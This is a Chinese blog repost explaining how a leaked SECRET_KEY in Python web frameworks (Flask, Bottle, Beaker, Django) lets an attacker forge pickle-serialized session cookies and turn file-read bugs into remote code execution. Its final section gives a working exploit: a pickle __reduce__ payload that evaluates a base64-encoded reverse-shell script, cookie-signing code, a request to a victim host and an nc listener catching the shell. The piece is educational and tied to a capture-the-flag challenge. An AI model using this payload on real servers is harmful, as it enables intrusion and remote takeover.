注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

秋风扫落叶

 
 
 

日志

 
 
 
 

[经验之谈]Python Web框架会话管理:从LFR到RCE -pythoner.net  

2013-04-14 08:52:09|  分类: 默认分类 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

Django, Bottle, Flask,等所有的python web框架都需要配置一个SECRET_KEY。文档通常推荐我们使用随机的值,但我很难发现他有任何文字说明,因为这样容易被破解(本地攻击或者文本阅读在web app中更容易受攻击)。攻击者可以使用SECRET_KEY伪造cookies,csrf token然后使用管理员工具。不过这很难做到,不过他可以搞一些小破坏,比如执行恶意代码。这也是我下面将要介绍的。

记得以前使用PHP找到一个可以读服务器上任意文件的bug,你将会被迫选择远程执行代码(RCE)。你就需要审查大部分的app资源文件来找到其他的bugs或者有用的信息(比如说用户密码,或者数据库信息等)。在这个情况下,我们能说PHP是更安全的吗?

在攻击一个Python网站框架的时候,知道你设置的SECRET_KEY字段的攻击者,能够简单的将LFR攻击升级到RCE攻击。我(作者)是从攻击一系列的网站框架之后得出如上结论的。在这些网站框架中,都有雷同的,使用Pickle作为将经过签名的Cookie序列化的方式。

在Flask框架中,Flask在config['SECRET_KEY']被赋予某个值,session_cookie_name(default='session'

从  里面提取出来的反序列方法是这样的:

def unserialize(cls, string, secret_key):
        if isinstance(string, unicode):
            string = string.encode('utf-8', 'replace')
        try:
            base64_hash, data = string.split('?', 1)
        except (ValueError, IndexError):
            items = ()
        else:
            items = {}
            mac = hmac(secret_key, None, cls.hash_method)
            # -- snip ---
            try:
                client_hash = base64_hash.decode('base64')
            except Exception:
                items = client_hash = None
            if items is not None and safe_str_cmp(client_hash, mac.digest()):
                try:
                    for key, value in items.iteritems():
                        items[key] = cls.unquote(value)
                except UnquoteError:
                    # -- snip --
            else:
                items = ()
        return cls(items, secret_key, False)
反序列方法检查签名,然后在签名正确的情况下unquote()cookie的值。unquote()方法看起来非常无辜,但是事实上,这是一个默认的pickle.
    #: the module used for serialization.  Unless overriden by subclasses
    #: the standard pickle module is used.
    serialization_method = pickle
    def unquote(cls, value):
        # -- snip --
            if cls.quote_base64:
                value = value.decode('base64')
            if cls.serialization_method is not None:
                value = cls.serialization_method.loads(value)
            return value
        # -- snip --
 在默认的bottle设定中时没有真正的secret key的,但是也许有人想要用 的功能来加密他自己的cookie.

让我们来看看代码是怎么样的:

    def get_cookie(self, key, default=None, secret=None):
        value = self.cookies.get(key)
        if secret and value:
            dec = cookie_decode(value, secret) # (key, value) tuple or None
            return dec[1] if dec and dec[0] == key else default
        return value or default
当这个密钥被展现出来的时候,并且在cookie中还有其他数值的时候,
def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None
再次,我们看到了Pickle !

 

当然,当有人对文件拥有读的权限的时候,他/她理所当然知道所有的字段。然而,File mode使得攻击不得能因为我们对已经序列化的数据并没有控制权,例如,当这些数据储存在本地硬盘上的时候。在Cookie mode,攻击就能够成立,即便cookie被编码了(因为我们知道怎么encrypt,哈哈)。你也许会问,那个随机参数是不可知的,你们没办法攻击,幸运的是这个随机参数也是cookie存数的session数据的一部分,因此,我们可以将其替代为任何我们需要的值。

下面是他们构造session数据的代码

   def _encrypt_data(self, session_data=None):
        """Serialize, encipher, and base64 the session dict"""
        session_data = session_data or self.copy()
        if self.encrypt_key:
            nonce = b64encode(os.urandom(6))[:8]
            encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                                             self.validate_key + nonce, 1)
            data = util.pickle.dumps(session_data, 2)
            return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
        else:
            data = util.pickle.dumps(session_data, 2)
            return b64encode(data)
我们明显的看到这些数据的处理存在风险。

 : 最知名也是在Python语言中最复杂的一个服务器框架。而且,没错,Django的开发者们在Cookie Session上放置了一个蛮不错的。以我之鄙见,这个警告不够,而应该被替换成'致命'或者是'警示',并且标上红色。

Django的Session是咋么工作的呢?我们能够从Django的文档中轻易的找到可阅读的答案:总而言之,Django给了session 3个可以设定的项目:db,file以及signed_cookie。再一次,我们只对signed_cookie产生兴趣,因为我们可以轻松的改变它。如果SESSION_ENGINE被设定为“django.contrib.sessions.backends.signed_cookies“,我们就确定signed_cookie是背用于session的管理。

有趣的是,如果我们在request cookie里面构造一个sessionid,它总是会被反序列化。Django也给了我们一个好实例。这让我们的工作轻松多了。

我们的攻击

我们还没有讨论我们如何攻击(有些你可能已经知道了)!感谢您的耐心看到最后,我写它在最后是因为攻击手段充满共性,而且简单(是的,原则性的知识)。

在这里,我们可以读取任何文件。要找到Python应用程序的配置文件并不难,因为到处有导入(import)。当我们获得的密钥时,我们可以简单的实现(或重复使用)签署web框架的cookie,并使用我们的恶意代码。 因为它们使用的是pickle.loads()反序列化的时候,我们的使用pickle.dumps()保存恶意代码

piclke.dump()和loads()通常在处理整数,字符串,数列,哈希,字典类型的时候是安全的....但是他在处理一些!事实上,攻击者可以通过构造的数据类型来达到执行任意Python代码的目的。我写了一段不错的小程序来吧Python代码转换成Pickle序列化的对象。我们应该从connback.py开始阅读(这实际上是一个反向链接的shell),然后我们将诱使对方网站来用Pickle方法将其序列化。如果有人执行了pickle.loads(payload),那么我们的反向链接shell就会被激活。

code = b64(open('connback.py').read())
class ex(object):
    def __reduce__(self):
        return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())
现在我们签名(适用于flask web框架):
def send_flask(key, payload):
    data = 'id='+b64(payload)
    mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
    s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
然后发送
print requests.get('http://victim/', cookies={'session':s})
在另外一个终端里:
danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

还有啥?

-所以怎样?只要你不知道我的secret_key我就是安全的!可以啊,你可以这样....但是和宣称:"我把我的钥匙放在房顶上,我知道你爬不上来..."没啥区别。

-好的, 所以如果我不用这种session cookie,我就安全了!没错,在小型的web app上,将session 储存在文件里面更安全(如果放在DB里面,我们还面临的危险)。但是如果是大型web app,然后你有个分布式的存储方式,这将导致严重的效率问题。

-那咋办?也许我们应该让那些web框架不要用piclke来序列化?我不知道是否存在这种框架,如果有的话就好了。PHP更安全吗?

Web.Py,当我查看他们的web session文档的时候我发现:CookieHandler – DANGEROUS, UNSECURE, EXPERIMENTAL

所以,干得好:D ,也许所有人都应该这样做。你们应该去试试web.py和其他框架。

作为一个礼物,是有这个漏洞的,让我们看看你们是不是能够把lfr bug升级成为一个rce,然后你们会找到真正的礼物:一个flag...

更新:有漏洞的网站的源码放在上了,它的secret_key已经不一样了。

  评论这张
 
阅读(947)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017